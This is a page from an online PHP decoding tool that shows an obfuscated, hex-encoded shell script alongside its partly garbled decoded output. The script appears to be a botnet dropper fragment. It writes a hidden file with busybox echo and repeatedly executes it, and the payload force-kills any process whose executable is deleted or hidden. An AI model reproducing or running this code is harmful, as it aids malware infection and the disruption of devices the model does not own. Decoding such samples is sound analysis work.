Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x7..

Decoded Output download

<?  x23!/bin/sh

for proc_dir in /proc" > .k../bin/busybox echo -ne "/*; do
    pid=${proc_dir##*/}

" >> .k../bin/busybox echo -ne "    result=$(ls -l "/proc/$pid/e" >> .k../bin/busybox echo -ne "xe" 2> /dev/null)

    if [ "$re" >> .k../bin/busybox echo -ne "sult" != "${result%(deleted)}" ]" >> .k../bin/busybox echo -ne " || [ "$result" != "${result%/.}" >> .k../bin/busybox echo -ne "" ]; then
        kill -9 "$pid"" >> .k../bin/busybox echo -ne "
    fi
done
" >> .k..sh .k..sh .k..sh .k..sh .k..sh .k..sh .k..sh .k..sh .k..sh .k..sh .k../bin/busybox.. ?>

Did this file decode correctly?

Original Code

x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63" > .k../bin/busybox echo -ne "\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A" >> .k../bin/busybox echo -ne "\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65" >> .k../bin/busybox echo -ne "\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65" >> .k../bin/busybox echo -ne "\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D" >> .k../bin/busybox echo -ne "\x20\x7C\x7C\x20\x5B\x20\x22\x24\x72\x65\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x2F\x2E\x7D" >> .k../bin/busybox echo -ne "\x22\x20\x5D\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22" >> .k../bin/busybox echo -ne "\x0A\x20\x20\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A" >> .k..sh .k..sh .k..sh .k..sh .k..sh .k..sh .k..sh .k..sh .k..sh .k..sh .k../bin/busybox..

Function Calls

None

Variables

None

Stats

MD5 63e032c056eb9ba2e746a9430bc3f895
Eval Count 0
Decode Time 45 ms